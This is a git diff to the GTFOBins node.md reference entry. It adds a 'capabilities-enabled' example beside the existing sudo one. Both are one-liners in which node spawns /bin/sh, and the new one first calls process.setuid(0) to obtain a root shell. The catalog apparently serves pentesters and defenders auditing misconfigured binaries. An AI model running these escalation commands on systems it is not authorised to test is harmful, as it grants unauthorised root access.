diff --git a/_gtfobins/node.md b/_gtfobins/node.md index 622f2bf..64c1dd4 100644 --- a/_gtfobins/node.md +++ b/_gtfobins/node.md @@ -30,4 +30,7 @@ functions: sudo-enabled: - code: | sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' + capabilities-enabled: + - code: | + ./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});' ---